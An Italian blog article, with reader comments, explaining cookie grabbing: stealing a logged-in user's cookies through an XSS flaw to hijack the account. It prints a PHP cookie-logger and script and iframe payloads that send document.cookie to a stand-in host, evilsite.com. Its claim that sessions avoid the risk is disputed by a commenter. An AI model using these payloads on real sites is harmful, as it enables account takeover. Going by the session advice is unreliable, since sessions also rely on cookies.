Cookie Grabbing: Come funziona

Bruce Force Attack

Cookie Grabbing: Come funziona

4

Il cookie grabbing è una tecnica di cracking molto potente, pericolosa, e facile da attuare: consiste, come si capisce dal nome, nel rubare i cookie.

Un attacco utilizzato dai crackers in rete si chiama “Cookie Grabbing“, che consiste nel “grabbare” (rubare) i cookie di un utente loggato ad un servizio, e impostarli nel proprio browser in modo da essere loggato con l’ user di quest’ultimo senza conoscerne la password

Per fare ciò, l’attaccante deve riuscire a prendere i cookie all’utente; per il sito web di cui vuole rubare l’accesso.
Bruce Force Attack
Questo si può fare sfruttando una XSS e utilizzando un pò di Javascript unito al PHP.

L’ Attacco

Solitamente, i passaggi seguiti per utilizzare questo tipo di tecnica sono:

1) Trovare una vulnerabilità su un servizio (magari un forum, o una piattaforma creata a mano).

2) Poi, crea su uno spazio web (possibilmente crackkato – non suo) una pagina e inserisce del codice simile a questo:

<?php
$cookie = $_GET['cookie']
$myFile = "cookie.txt";
$fileh = fopen($myFile, 'w') or die("Can't open file!");
fwrite($fh, $cookie);
fclose($fh);
?>

Questo codice PHP non fà altro che scrivere il contenuto del GET (es: index.php?cookie=CIAO scriverà nel file cookie.txt “CIAO”).

Dopodichè, sfrutterà una XSS presente nel servizio del sito per utilizzare, per esempio, una codice del genere:

<script>window.location="http://www.evilsite.com/cookie-grabber.php?cookie=" + document.cookie</script>

Questo sarebbe un redirect sulla pagina creata poco fà.
Oppure, ancora meglio, potrebbe fare:

<iframe src="http://www.evilsite.com/cookie-grabber.php?cookie=" + document.cookie" border="0" height="0" width="0"></iframe>

Che crea semplicemente un iframe invisibile (ma che comunque c’è e si carica).

Per far funzionare l’attacco, la vittima (che deve essere loggata), dovrà visualizzare la pagina afflitta da xss con l’aggiunta di uno di questi due codici.

L’utilizzo principale di questo tipo di tecnica è, dato che la xss deve essere visualizzata dall’utente, quello di mandare MP ( Messaggi Privati) che di solito permettono codice HTML (o peggio, javascript) che non viene filtrato, ed una volta che la vittima lo apre (essendo per forza loggata) ci cederà automaticamente i suoi cookies.

Una volta che vi hanno rubato i cookies, l’attaccante non farà altro che sostituirli ai propri (magari utilizzando uno dei tantissimi plugin per il proprio browser) e una volta aggiornata la pagina: ta-dah! Viene riconosciuto come loggato col vostro nome utente e senza aver inserito nessuna password.

Peggio del peggio: impostare i cookie in modo che durino per sempre (ovvero che siamo sempre loggati) questo perchè così all’attaccante basterà reimpostare i tuoi cookie ogni volta che vuole riloggarsi per avere pieno accesso al tuo account.

Proteggersi

Beh, diciamo che non c’è un vero e proprio consiglio o metodo: per chi gestisce i siti l’ideale sarebbe utilizzare le sessioni per gestire gli accessi al proprio sito che, come potete capire da questo attacco, sono più sicure dei cookie.

Un’altro consiglio ai Web Master è ovviamente quello di filtrare tutti i dati che possono venire dall’ esterno in modo da evitare il 99% delle vulnerabilità.

Per gli utenti invece il consiglio è: non aprite messaggi o visualizzate siti che vi vengono linkati da persone che non conoscete (questo è in linea di massima un consiglio generale per difendersi anche su altri problemi di sicurezza), evitate se potete di cliccare su “Ricordami” e cambiate periodicamente la vostre password (almeno per i siti più importanti).

 

About the Author

Federico PonziStudente, Webmaster ed appassionato di tutto ciò che è informatico con una spruzzata di scienza.View all posts by Federico Ponzi

  1. paradix86
    paradix8601-28-2013

    Articolo interessante!
    anche se oramai con php e asp.net l’uso di sessioni, rende i “nuovi” siti web invulnerabili a questo hack.

  2. Federico Ponzi
    Federico Ponzi01-28-2013

    Effettivamente come ho specificato nell’articolo le sessioni permettono di rendere il proprio sito più sicuro e non a rischio da questo tipo di attacco, ma resta il fatto che alcune volte a seconda dell’applicazione che vogliamo realizzare siamo costretti ad utilizzare i cookie.
    L’ideale quindi, sarebbe il filtro degli input e limitare i permessi degli utenti.
    Ciao e grazie per il commento! 🙂

  3. carlo
    carlo03-23-2013

    Forse si fa un po di confusione, il pericolo non è tanto la cattura dei cookie quanto l’informazione che è al loro interno, in particolare l’identificativo dell’utente dell’utente(SID).
    Le sessioni nel 99,99% dei casi usano cookie: la sessione serve allo scopo di trasferire, insieme alla richiesta GET o POST il SID, ossia l’identificativo dell’utente appunto.
    Le sessioni, il cui concetto implica l’esistenza di un SID memorizzato sul client, nella stragrande maggioranza dei casi usano i cookie per mantenere lo stato.
    Il webmaster non solo può filtrare i dati provenienti dall’esterno, dovrebbe avere anche piccoli accorgimenti, ad esempio potrebbe sfruttare il controllo dell’IP del navigatore o potrebbe usare https invece che http.
    Per evitare codice XSS, ad esempio, potrebbe porre più attenzione al punto 1 che elencavi e cercare di invalidare le vulnerabilità quanto più possibile.

  4. Pipi
    Pipi12-27-2015

    alert(test)

Leave a Reply